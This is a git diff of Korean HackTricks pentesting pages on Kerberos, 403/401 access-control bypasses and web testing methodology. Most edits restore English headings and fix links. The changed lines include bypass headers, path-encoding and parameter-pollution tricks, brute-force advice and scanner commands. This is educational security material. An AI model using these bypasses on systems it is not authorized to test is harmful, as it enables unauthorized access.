b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 0cee75e26..953368263 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,7 +6,7 @@ **Kerberos**는 사용자의 리소스 접근을 직접 관리하지 않고 인증하는 원칙에 따라 작동합니다. 이는 프로토콜의 보안 프레임워크에서의 역할을 강조하는 중요한 구분입니다. -**Active Directory**와 같은 환경에서 **Kerberos**는 사용자의 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다. +**Active Directory**와 같은 환경에서 **Kerberos**는 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 각 사용자의 신원이 네트워크 리소스와 상호작용하기 전에 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다. **Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자의 신원을 인증하는 것과 접근 권한을 관리하는 것 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다. @@ -15,7 +15,7 @@ PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**에 대한 게시물을 읽어야 합니다.** +### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**에 대한 게시물을 읽어야 합니다.** ## 더 알아보기 @@ -25,7 +25,7 @@ PORT STATE SERVICE ### MS14-068 -MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다. +MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 상승된 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다. {{#ref}} https://adsecurity.org/?p=541 diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index b5c50f399..30268917c 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -1,18 +1,18 @@ -# 403 & 401 우회 +# 403 & 401 Bypasses {{#include ../../banners/hacktricks-training.md}} -## HTTP 동사/메서드 퍼징 +## HTTP Verbs/Methods Fuzzing 파일에 접근하기 위해 **다양한 동사**를 사용해 보세요: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- 응답 헤더를 확인하세요. 유용한 정보가 제공될 수 있습니다. 예를 들어, **HEAD**에 대한 **200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다. +- 응답 헤더를 확인하세요. 유용한 정보가 있을 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다. - `X-HTTP-Method-Override: PUT`과 같은 HTTP 헤더를 사용하면 사용된 동사를 덮어쓸 수 있습니다. - **`TRACE`** 동사를 사용하고, 운이 좋다면 응답에서 유용할 수 있는 **중간 프록시가 추가한 헤더**를 볼 수 있습니다. -## HTTP 헤더 퍼징 +## HTTP Headers Fuzzing -- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 예](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동했습니다](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)으로 리소스에 접근해 보세요. - **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다. @@ -30,21 +30,21 @@ - `X-ProxyUser-Ip: 127.0.0.1` - `Host: localhost` -**경로가 보호**되어 있다면, 다음 헤더를 사용하여 경로 보호를 우회해 보세요: +**경로가 보호되어** 있다면, 다음 헤더를 사용하여 경로 보호를 우회해 보세요: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- 페이지가 **프록시 뒤에** 있다면, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP 요청 스머글링**](../../pentesting-web/http-request-smuggling/) **또는** [**hop-by-hop 헤더**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.** +- 페이지가 **프록시 뒤에** 있다면, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **또는** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.** - [**특수 HTTP 헤더**](special-http-headers.md)를 퍼징하여 다양한 응답을 찾아보세요. -- **HTTP 메서드**를 퍼징하는 동안 **특수 HTTP 헤더**를 퍼징하세요. +- **HTTP 메서드를 퍼징**하는 동안 **특수 HTTP 헤더를 퍼징**하세요. - **Host 헤더를 제거**하면 보호를 우회할 수 있을지도 모릅니다. -## 경로 **퍼징** +## Path **Fuzzing** 만약 _/path_가 차단되었다면: -- _**/**_**%2e/path를 사용해 보세요 _(프록시로 인해 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path (이중 URL 인코딩)도 시도해 보세요. +- _**/**_**%2e/path를 사용해 보세요 _(프록시로 인해 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩)를 시도해 보세요. - **유니코드 우회**를 시도해 보세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로, 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.) - **기타 경로 우회**: - site.com/secret –> HTTP 403 Forbidden @@ -71,7 +71,7 @@ - {"user_id":"\","user_id":"\"} (JSON 매개변수 오염) - user_id=ATTACKER_ID\&user_id=VICTIM_ID (매개변수 오염) -## **매개변수 조작** +## **Parameter Manipulation** - **매개변수 값 변경**: **`id=123` --> `id=124`** - URL에 추가 매개변수 추가: `?`**`id=124` —-> `id=124&isAdmin=true`** @@ -80,18 +80,18 @@ - 특수 문자 사용. - 매개변수에서 경계 테스트 수행 — _-234_ 또는 _0_ 또는 _99999999_와 같은 값을 제공하세요 (몇 가지 예시 값). -## **프로토콜 버전** +## **Protocol version** HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을 지원하는지 테스트해 보세요**. -## **기타 우회** +## **Other Bypasses** - 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**. -- 일반 GET 요청을 보내 서버에 **부하를 주어 보세요** ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). - **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경해 보세요. - [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요. -## **브루트 포스** +## **Brute Force** - **비밀번호 추측**: 다음 일반 자격 증명을 테스트해 보세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요? - [**브루트 포스**](../../generic-hacking/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요. diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 9e03776dc..3e8beff9d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Info 웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다. @@ -17,34 +17,34 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### 웹 API 가이드 +### Web API Guidance {{#ref}} web-api-pentesting.md {{#endref}} -## 방법론 요약 +## Methodology summary > 이 방법론에서는 도메인(또는 서브도메인)을 공격한다고 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 범위 내의 불확실한 웹 서버가 있는 IP에 이 방법론을 적용해야 합니다. - [ ] **웹 서버**에서 사용되는 **기술**을 **식별**하는 것부터 시작하세요. 기술을 성공적으로 식별할 수 있다면 나머지 테스트 동안 염두에 두어야 할 **트릭**을 찾아보세요. -- [ ] 기술 버전의 **알려진 취약점**이 있나요? +- [ ] 해당 기술 버전의 **알려진 취약점**이 있나요? - [ ] **잘 알려진 기술**을 사용하고 있나요? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있나요? - [ ] 실행할 **전문 스캐너**가 있나요(예: wpscan)? -- [ ] **일반 목적의 스캐너**를 실행하세요. 무언가를 발견할지, 흥미로운 정보를 찾을지 모릅니다. +- [ ] **일반 목적의 스캐너**를 실행하세요. 그들이 무언가를 발견할지, 흥미로운 정보를 찾을지 알 수 없습니다. - [ ] **초기 점검**부터 시작하세요: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우). - [ ] 웹 페이지를 **스파이더링**하기 시작하세요: 가능한 모든 **파일, 폴더** 및 **사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요. -- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._ +- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 한다는 점에 유의하세요._ - [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색하세요. -- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱해야 합니다._ +- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱해야 한다는 점에 유의하세요._ - [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트하세요. -- [ ] **매개변수 브루트 포스**: **숨겨진 매개변수**를 **찾아보세요**. +- [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**. - [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인하세요. - [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md) -## 서버 버전 (취약한가?) +## Server Version (Vulnerable?) -### 식별 +### Identify 실행 중인 서버 **버전**에 대한 **알려진 취약점**이 있는지 확인하세요.\ **응답의 HTTP 헤더 및 쿠키**는 사용 중인 **기술** 및/또는 **버전**을 **식별**하는 데 매우 유용할 수 있습니다. **Nmap 스캔**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구도 유용할 수 있습니다:** @@ -54,30 +54,30 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **WAF 확인하기** +### **Check if any WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### 웹 기술 트릭 +### Web tech tricks 다양한 잘 알려진 **기술**에서 **취약점**을 찾기 위한 **트릭**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) - [**Artifactory**](artifactory-hacking-guide.md) -- [**Buckets**](buckets/) +- [**Buckets**](buckets/index.html) - [**CGI**](cgi.md) -- [**Drupal**](drupal/) +- [**Drupal**](drupal/index.html) - [**Flask**](flask.md) - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - Java SQL 데이터베이스**](h2-java-sql-database.md) -- [**IIS 트릭**](iis-internet-information-services.md) +- [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**IIS tricks**](iis-internet-information-services.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -86,39 +86,39 @@ Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generi - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php에는 악용될 수 있는 흥미로운 트릭이 많음)**](php-tricks-esp/) +- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) -- [**Tomcat**](tomcat/) +- [**Tomcat**](tomcat/index.html) - [**VMWare**](vmware-esx-vcenter....md) -- [**웹 API 펜테스팅**](web-api-pentesting.md) +- [**Web API Pentesting**](web-api-pentesting.md) - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) +- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\ +_같은 도메인이 **다른 포트**, **폴더** 및 **서브도메인**에서 **다른 기술**을 사용할 수 있다는 점을 고려하세요._\ 웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!). -### 소스 코드 검토 +### Source Code Review -애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다: +애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대한 **화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한** **정보**가 있을 수 있습니다: -- **Change-log 또는 Readme 또는 Version** 파일이나 **버전 정보에 접근 가능한** 것이 있나요? -- **자격 증명**은 어떻게 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요? +- **Change-log 또는 Readme 또는 Version** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요? +- **자격 증명**은 어떻게 그리고 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요? - **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요? - 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요? - 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**? -- **github**에 (해결된 것과 해결되지 않은 것) **이슈**에 흥미로운 정보가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)? +- **github**에 (해결된 것과 해결되지 않은) **문제**에 **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)? {{#ref}} code-review-tools.md {{#endref}} -### 자동 스캐너 +### Automatic scanners -#### 일반 목적의 자동 스캐너 +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi CMS가 사용되는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다: -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **또는** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **또는** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url @@ -160,30 +160,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- 주요 및 보조 페이지의 주석도 확인하세요. +- 주요 및 보조 페이지의 댓글도 확인하세요. **오류 강제 발생** 웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다. -- /whatever_fake.php (.aspx, .html, .etc)와 같은 **가짜 페이지**에 접근하기 +- **가짜 페이지**에 접근하기: /whatever_fake.php (.aspx, .html, .etc) - **쿠키 값** 및 **매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성 -- **URL**의 **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성 -- PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도 +- **URL**의 **끝**에 **`/~randomthing/%s`** 입력하여 오류 생성 +- PATCH, DEBUG 또는 FAKE와 같은 **다른 HTTP 동사** 시도 #### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)** -**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요: +**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요: - **자격 증명** 무작위 대입 - 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다. ### **SSL/TLS 취약점** -- 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약합니다** +- 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다. - 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다. -[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있음) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요: +[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -202,36 +202,36 @@ SSL/TLS 취약점에 대한 정보: 웹 내에서 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기. -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시. - [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색. -- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트와 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다. +- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다. - [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더. - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다. - [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용하여 JavaScript 파일에서 상대 URL을 구문 분석하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 추출합니다. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 정규 표현식을 사용하여 상대 URL을 추출합니다. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다. - [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 출력합니다. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상에 대한 엔드포인트를 발견하는 데 사용되는 도구입니다. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성까지 크롤링하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견하고 응답을 다운로드하여 더 많은 링크를 찾습니다. +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾는 크롤러. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다. -- [**katana**](https://github.com/projectdiscovery/katana) (go): 이를 위한 멋진 도구입니다. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다. +- 